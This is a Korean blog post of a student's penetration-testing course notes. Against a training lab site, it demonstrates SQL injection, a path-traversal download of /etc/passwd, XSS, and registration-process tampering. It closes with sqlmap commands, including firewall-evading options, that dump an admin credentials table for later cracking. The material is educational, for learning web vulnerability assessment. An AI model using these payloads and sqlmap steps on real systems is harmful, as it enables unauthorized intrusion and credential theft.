취약점 상세 결과 예시
1. sqli
1) 메뉴
HOME>커뮤니티>공지사항>게시글
2)취약점 현황
공지사항 게시글 열람 시 SQL 특수문자를 삽입하여 서버 측으로 보냈을 떄 SQL 에러페이직 발생하는 취약점을 확인하였다. 해당 취약점으로 인해 데이터베이스 내의 중요정보가 탈취되거나 수정되거나 삭제될 가능성이 있다.
3)발견된 URL
http://10.200.194.12/kisec/dataRoom/notice_view.html?idx=36'&keyfield=&keyword=
(idx에 '(작은따음표) 를 통해 취약점 발견 )
54) 취약한 파라미터 (인자):idx
5)증적 (스크린샷)
step-1) 공지사항 게시글 화면
step-2) URL의 SQL 특수문자 삽입 화면
step-3) 삽입 후 반환된 SQL 에러페이지 화면
2. 파일 다운로드
1) 파일 다운로드 기능 확인
HOME > 커뮤니티 > f-NGS Lab
2) 파일 다운롣 경로 조작
http://10.200.194.12/_core/_download.php?file_url=lab&file_name=album_5f8ff99f40d13.txt&real_name=test.txt
파일위치: file_url=lab
파일명(1): file_name=album_5f8ff99f40d13.txt
파일명(2): real_name=test.txt
3)인가되지 않는 시스템 파일 등 중요파일을 다운로드 기능
http://10.200.194.12/_core/_download.php?file_url=../../../../../etc/&file_name=passwd&real_name=test.txt
download 할떄 버프 키고 다운로드
실행할때 조건 확인 file_name , real)name
http:19.9/_core/_download.php?file_url=lab&file_name=album_5f8ff99f40d13.txt&real_name=test.txt
===============================================================
강사님 다운로드 취약점으로 모의해킹한 썰
asp내에서 반드시 쓰는 파일이 뭐가 있을까 ? web.config (참고로 자바는 web.xml )
구글링해보니 루트위치에 있어야함 그렇다는 말은 즉슨 web.config가 있는 위치가 루트 위치!
아무튼 루트 위치 알아내고 dbconn.asp
db에대해 알아내면 바로 sql gate에 접속하나.
sql gate는 putty처럼 개발할때 쓰는 접속 프로그램
==========================================================================
3.xss (cross site scripting)
1) 메뉴: HOME > 교육문의 > 1:1문의
2) 취약점 현황:
1:1 문의 게시글 본문 내용의 임의의 스크립트 구문 삽입 시 해당 스크립트가 실행되는 취약점 발견
이로인해 타 사용자 권한획득 또는 악성서버 유도를 통해 홈페이지를 방문한 사용자가 악성코드에 감염될 가능성이 있다.
3) 발견 URL:
4) 취약한 파라미터(인자):
5) 증적(스크린샷)
step-1) 1:1 문의 본문내용의 임의의 스크립트 구문 삽입된 화면
step-2) 해당 게시글 열람 시 스크립트가 실행된 화면
===============
모의해킹은 주통기에 있는거 다 안해봐도 되는데
웹 취약점 진단은 주통기에 있는거 다 해봐야함
그 중 특히 데이터 평문 전송은 반드시 진단을 해야한다
인터파크가 평문으로 보내서 문제가 되어있었는데 탈퇴시 마지막에 비밀번호 한번 더 칠때 평문으로 전송되어서 문제였다
평문통신 점검할때는 burfsuite 보다는 wiresharke를 쓰는게 좋다
와이어샤크 키고 로그인한다음에 ctrl+f 눌러서 종료 하고 packet detatils 와 case sensitive를 String으로 바꿔주고 아이디를 검색하면 평문 전송되는것을 발견할수 있다 .
ssl 은 heartbleed 취약점 있음
tls 1.2 이상부터 !!
참고사항
nmap ssl 버전 확인
nmap --script ssl-enum-ciphers <진단 사이트 url> -p 443
unpriviledged
사이트를 이용한 ssl버전 확인
================================
1.불충분한 인증
1) 중요 페이지. ex) 예를등어 관리자 로그인 ㅔ이지의 2차 인증 등이 존재하지 않아 추측하기 쉬운 아이디/ㅐ스워드로 쉽게 로그인이 가능할 떄 불충분한 인증이라고 불리움
2) 2차 인증
-멀티디바이스를 이용한 2차 인증 ex) ARS,MMS
-OTP(One Time Password)
-바이오 정보 등
2. 불충분한 인가
1) 관리자 권한으로 공지사항의 게시글을 등록, 수정 , 삭제 할수 있도록 구현하였으나 이때 파라미터의 권한에 해당하는 값만 의존해서 권한을 결정하도록 구현하였을 때 취약점이 발생할수 있음
3. 프로세스 검증 누락
1) 회원가입시 아이디 중복, 비밀번호 복잡도 우회를 통한 가입
2) 포인트 조작, 결제 금액 조작 등
<프로세스 검증 누락 >
회원가입할때 기업기반, 일반회원기반은 뭐가 다른가?
회원가입하고 바로 로그인이 안됨
그렇다면 이걸 우회하는 방법이 있지 않을까?
burfsuite로 보니까
로그인 할때는 수정할수 있는게 없을거 같고
회원가입할때 그 때 바꾸어야 되는거 같다
5.프로세스 검증 누락
1)비밀번호 체크를 우회해서 안전하지 않은 비밀번호로 회원가입 가능
ㄴ 이거의 위험성 ? 사용자가 안전하지 않은 비밀번호로 가입하면 공격자가 추측해서 로그인할수 있다
ㄴ이로 인해 2차 공격이 가능할수 있음
다양한 방법이 있지만 자바스립트 검증문은 확인 시키고 프록시 키고 회원가입할때 평문으로 바꿔서 전송
이거를
이걸 이런식으로 바꿔서
2) 기업회원 가입 시 정회원 등록 절차를 우회해서 가입 가능
ㄴ만약에 가짜 기업회원 가입을 통해 일반회원과 가르게 혜택을 붇을수 있다면 다른 정당한 사용자와는 다르게 불법적으로 혜택을 받을수 있다.
뭔가 add_member가 써져있고 mm_status가 1이라 써져 있는게 뭔가 1은 no 2는 yes 일거 같은 추측이 든다
2로 바꾸고 forward !!
성공적 !
======================================================
6. 디렉토리 인덱싱
google에 intitle:index of site: .kr
보통 해당 취약점을 방어를 한 사이트는 403 error가 뜬다 (사이트는 존재하나 권한이 없음)
해당 실습사이트에 경우 아까 download 취약점에 사용했던 사이트를통해서 사용하면 해당 취약점에 접근할수 있다
httpl://10.200.5.12/_core 로 누르면
HTTrack 웹사이트의 디렉토리를 파악을 해주는 프로그램도 있다
HTTrack Website Copier - Free Software Offline Browser (GNU GPL)
Version 3.49-2 (05/20/2017) Engine fixes (keep-alive, redirects, new hashtables, unit tests) Installing HTTrack: Go to the download section now! For help and questions: Visit the forum, Read the documentation, Read the FAQs, Browse the sources Welcome HTTr
www.httrack.com
링크를 다 클릭을 해서 파악
dirbuster 라고 디렉토리 파악을 해주는 프로그램이 더 있다
패스워드 크랙하듯이 일일히 대입해서 관리자페이지, 숨겨진 페이지를 추측하는 프로그램
그래서 해당 프로그램 처럼 대입해서 찾아보자
뭔가 관리자 페이지니까 admin,root,administrator..... 이런 단어들을 쓸거 같고
아까 _core 폴더 처럼 뭔가 _(언더바)를 많이 쓰는것 같다
이래서 웹해킹은 많이 해본사람이 유리하고
특히 웹 개발자들이 느낌 아니까 ~ 라면서 금방금방 습득한다고 한다
시나리오 기반 모의 해킹(1)
SQLi -> admin ID/PW ->PW Crack -> Admin Page Login
1. SQLi
1)찾은 취약한 URL 파라미터
2) sqlmap 사용자
3) 관리자 아이디/패스워드
sqlmap -u "URL" -data "파라미터=값" -p "취약한 파라미터" -level 3 --dbs --random-agent
헤더 값으로 인해 방화벽이 sqlmap을 차단할수 있으니 --random-agent 옵션을 사용해준다
2.PW crack
1)crunch
2) hashcat
3.Admin Page Login
1.
아무 링크에 들어가서 ' (싱글쿼터)를 붙여서 sql 취약점 확인
취약점 있는거 확인
나는 이렇게 했지만 선생님께서 추천하신 방법은
sqlmap -u "URI" --dbms=? --level=3 --randome-agent --dbs
아무튼 결과는 이리 나왔다
sukisec 데이터베이스
그러고 sqlmap -u "URI" --dbms=? --level=3 --randome-agent -D "?" --tables 를 입력을 하면
retrieved: 'zipcode'
Database: sukisec
[108 tables]
+-----------------------------------+
| member |
| account_payment |
| add_info |
| admin_mem |
| alert_msg |
| b_after |
| b_album |
| b_consult |
| b_lab |
| b_notice |
| banner |
| board |
| board_club |
| board_comment |
| board_conf |
| category |
| contents |
| coupon_code |
| coupon_event |
| coupon_reg |
| create_form |
| create_form_attend |
| edu_attend |
| edu_course |
| edu_course_date |
| edu_vendor |
| edu_vendor_div |
| eng_zip |
| exam_attend |
| exam_date |
| exam_subject |
| find_log |
| good |
| hm_admin_tb |
| hm_agreement_tb |
| hm_certificate_tb |
| hm_config_tb |
| hm_coupon_list_tb |
| hm_coupon_req_tb |
| hm_coupon_sequence_tb |
| hm_coupon_type_tb |
| hm_direct_file_tb |
| hm_edu_application_tb |
| hm_edu_career_tb |
| hm_edu_contents_tb |
| hm_edu_exam_item_tb |
| hm_edu_exam_tb |
| hm_edu_payment_tb |
| hm_edu_payment_tb_bak |
| hm_edu_present_tb |
| hm_edu_record_tb |
| hm_edu_schedule_tb |
| hm_edu_survey_record_tb |
| hm_edu_survey_tb |
| hm_edu_type_tb |
| hm_faq_tb |
| hm_faq_type_tb |
| hm_kind_tb |
| hm_large_type_tb |
| hm_member_tb |
| hm_middle_type_tb |
| hm_popup_tb |
| hm_rental_request_tb |
| hm_rental_tb |
| hm_rental_type_tb |
| hm_survey_item_tb |
| hm_survey_tb |
| hm_working_tb |
| image |
| login_log |
| mail_auth |
| media |
| member_cash |
| member_cash_payment |
| member_level |
| member_point |
| member_rating |
| memo |
| memout |
| myscrap |
| nation |
| pay_cancel_request |
| payment |
| payment_cancel_request |
| payment_cancel_request_withdrawal |
| pds |
| pds_log |
| personal_auth |
| pg_payment |
| poll |
| poll_user |
| popwin |
| qst |
| qst_exam |
| real_auth |
| real_card_payment |
| real_money_payment |
| reject_ip |
| sales |
| sales_category |
| sales_save |
| site_info |
| sp_good |
| survey |
| temp |
| test |
| ums_log |
| zipcode |
+-----------------------------------+
이리 어마막지한 테이블들이 나온다
저중에 admin 내용을 가장 갖고 있을거 같은 테이블은 hm_admin_tb 테이블이고
sqlmap -u http://10.200.5.12/kisec/dataRoom/notice_view.html?idx=36 -D sukisec -T hm_admin_tb --columns
라고 입력하면
수많은 콜럼들이 뜨는것을 볼수 있다. 추측상 admin_id와 admin_pass가 뭔가 끌린다
sqlmap -u http://10.200.5.12/kisec/dataRoom/notice_view.html?idx=36 -D sukisec -T hm_admin_table -C admin_id,admin_pw --dump
이때 admin_id,admin_pw 두개를 쓸때 둘이 띄어쓰기를 하지 않는다
'보안 > k shield' 카테고리의 다른 글
220815 k shield 주통기 불충분한 인증 (0) | 2022.08.15 |
---|---|
kshield 220811 (0) | 2022.08.11 |
220801 k shield 수업 (0) | 2022.08.01 |
220728 kshield (0) | 2022.07.28 |
220721 수업 (0) | 2022.07.21 |